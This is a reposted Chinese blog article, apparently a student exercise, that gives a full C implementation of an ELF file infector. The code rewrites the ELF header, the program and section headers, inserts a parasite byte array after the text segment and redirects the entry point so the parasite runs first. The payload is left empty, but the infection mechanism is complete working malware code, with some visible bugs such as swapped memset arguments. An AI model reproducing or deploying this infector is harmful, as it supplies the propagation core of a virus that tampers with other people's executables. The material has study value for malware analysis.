当前位置:   article > 正文

一个二进制代码注入器(用于感染ELF文件)(转)

elf 注入器virus

主要是修改ELF头结构以及段头结构,节头结构中的一些项,以达到插入病毒代码的目的。利用一段示例的二进制代码作为病毒进行演示。本次达到的目的是编程实现ELF文件感染器,并没有写出真正的病毒代码,只是实现第一部感染过程。使测试代码先于被感染的程序执行。

 
我们需要对ELF文件做的修改:
1 修正"ELF header"中的 e_shoff ,增加 PAGESIZE 大小
2 修正寄生代码的尾部,使之能够跳转回宿主代码原入口点 定位"text segment program header"
3 修正 "ELF header"中的 e_entry ,指向 p_vaddr + p_filesz
4 修正 p_filesz
5 修正 p_memsz
6 对于文本段phdr之后的其他phdr 修正 p_offset ,增加 PAGESIZE 大小
7 对于文本段的最后一个shdr 修正sh_size,增加寄生代码大小
8 对于那些因插入寄生代码影响偏移的每节的shdr 修正 sh_offset ,增加 PAGESIZE 大小
9 在文件中物理地插入寄生代码以及填充(确保构成一个完整页)到这个位置 text segment p_offset + p_filesz (original)。
 
代码:
  1. /*
  2. ELF infector source file
  3. Student:
  4. Student ID:
  5. Class:
  6. */
  7. # include < stdio. h>
  8. # include < stdlib. h>
  9. # include < elf. h>
  10. # include < sys/ types. h>
  11. # include < sys/ stat. h>
  12. # include < fcntl. h>
  13. # include < string . h>
  14. //Define PAGESIZE,default 4K byte
  15. # define PAGESIZE 4096
  16. //Parasite Virus Code.The code is copied from Internet.
  17. char Virus[ ] ={/*Binary code for test*/} ;
  18. int infect( char * ElfFile) ;
  19. //The size of Virus Code
  20. int VirusSize= sizeof ( Virus) ;
  21. int jmppoint=/*Jump point of binary code of Virus*/;
  22. //Infector Function
  23. int infect( char * ElfFile)
  24. {
  25. int result= 0;
  26. int Re;
  27. int FileD;
  28. int TmpD;
  29. int OldEntry;
  30. int OldShoff;
  31. int OldPhsize;
  32. int i= 0;
  33. Elf32_Ehdr elfh;
  34. Elf32_Phdr Phdr;
  35. Elf32_Shdr Shdr;
  36. //Open ELF file and read the elf header part to &elfh
  37. FileD= open ( ElfFile, O_RDWR) ;
  38. read ( FileD, & elfh, sizeof ( elfh) ) ;
  39. if ( ( strncmp ( elfh. e_ident, ELFMAG, SELFMAG) ) ! = 0)
  40. exit ( 0) ;
  41. //Old entry of original elf file
  42. OldEntry= elfh. e_entry;
  43. //Old section header offset of elf file
  44. OldShoff= elfh. e_shoff;
  45. //modify the Virus code line"movl "Oldentry",%eax" to jump to old entry
  46. //after the Virus code excuted
  47. * ( int * ) & Virus[ jmppoint ] = OldEntry;
  48. //Increase e_shoff by PAGESIZE in the ELF header
  49. elfh. e_shoff + = PAGESIZE;
  50. //if Virus Size is too large
  51. if ( VirusSize > ( PAGESIZE- ( elfh. e_entry% PAGESIZE) ) )
  52. exit ( 0) ;
  53. int Noff= 0;
  54. //The loop of read and modify program header
  55. for ( i= 0; i< elfh. e_phnum; i+ + )
  56. {
  57. //seek and read to &Phdr
  58. lseek( FileD, elfh. e_phoff+ i* elfh. e_phentsize, SEEK_SET ) ;
  59. read ( FileD, & Phdr, sizeof ( Phdr) ) ;
  60. if ( Noff)
  61. {
  62. //For each phdr who's segment is after the insertion (text segment)
  63. //increase p_offset by PAGESIZE
  64. Phdr. p_offset + = PAGESIZE;
  65. //write back
  66. lseek( FileD, elfh. e_phoff+ i* elfh. e_phentsize, SEEK_SET ) ;
  67. write ( FileD, & Phdr, sizeof ( Phdr) ) ;
  68. }
  69. else if ( PT_LOAD = = Phdr. p_type & & Phdr. p_offset= = 0)
  70. {
  71. if ( Phdr. p_filesz ! = Phdr. p_memsz)
  72. exit ( 0) ;
  73. // Locate the text segment program header
  74. //Modify the entry point of the ELF header to point to the new
  75. //code (p_vaddr + p_filesz)
  76. elfh. e_entry = Phdr. p_vaddr + Phdr. p_filesz+ 4;
  77. lseek( FileD, 0, SEEK_SET ) ;
  78. //Write back the new elf header
  79. write ( FileD, & elfh, sizeof ( elfh) ) ;
  80. OldPhsize= Phdr. p_filesz;
  81. Noff= Phdr. p_offset+ Phdr. p_filesz;
  82. //Increase p_filesz by account for the new code (parasite)
  83. Phdr. p_filesz + = VirusSize;
  84. //Increase p_memsz to account for the new code (parasite)
  85. Phdr. p_memsz + = VirusSize;
  86. //write back the program header
  87. lseek( FileD, elfh. e_phoff+ i* elfh. e_phentsize, SEEK_SET ) ;
  88. write ( FileD, & Phdr, sizeof ( Phdr) ) ;
  89. }
  90. }
  91. lseek( FileD, OldShoff, SEEK_SET ) ;
  92. //The loop of read and modify the section header
  93. for ( i= 0; i< elfh. e_shnum; i+ + )
  94. {
  95. lseek( FileD, i* sizeof ( Shdr) + OldShoff, SEEK_SET ) ;
  96. Re= read ( FileD, & Shdr, sizeof ( Shdr) ) ;
  97. if ( i= = 1)
  98. {
  99. //For the last shdr in the text segment
  100. //increase sh_size by the virus size
  101. Shdr. sh_size + = VirusSize;
  102. }
  103. else if ( i!=0)
  104. {
  105. //For each shdr whoes section resides after the insertion
  106. //increase sh_offset by PAGESIZE
  107. Shdr. sh_offset + = PAGESIZE;
  108. }
  109. //Write Back
  110. lseek( FileD, OldShoff+ i* sizeof ( Shdr) , SEEK_SET ) ;
  111. write ( FileD, & Shdr, sizeof ( Shdr) ) ;
  112. }
  113. //To get the file size FileStat.st_size
  114. struct stat FileStat;
  115. fstat( FileD, & FileStat) ;
  116. char * Data= NULL ;
  117. Data= ( char * ) malloc ( FileStat. st_size- OldPhsize) ;
  118. lseek( FileD, OldPhsize, SEEK_SET ) ;
  119. read ( FileD, Data, FileStat. st_size- OldPhsize) ;
  120. //Insert the Virus Code to the elf file
  121. lseek( FileD, OldPhsize, SEEK_SET ) ;
  122. write ( FileD, Virus, sizeof ( Virus) ) ;
  123. char tmp[ PAGESIZE] = { 0} ;
  124. //Pad to PAGESIZE
  125. memset ( tmp, PAGESIZE- VirusSize, 0) ;
  126. write ( FileD, tmp, PAGESIZE- VirusSize) ;
  127. write ( FileD, Data, FileStat. st_size- OldPhsize) ;
  128. result= 1;
  129. free ( Data) ;
  130. return result;
  131. }
  132. //Just for test
  133. int main( int argc, char * * argv)
  134. {
  135. //How to use it
  136. if ( argc!=2)
  137. {
  138. printf ( "Usage : infect <ELF filename>\n" ) ;
  139. exit ( 0) ;
  140. }
  141. int test = infect( argv[ 1] ) ;
  142. if ( test ! = 1)
  143. {
  144. exit ( 0) ;
  145. }
  146. return 0;
  147. }
 
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/码创造者/article/detail/849249
推荐阅读
相关标签
  

闽ICP备14008679号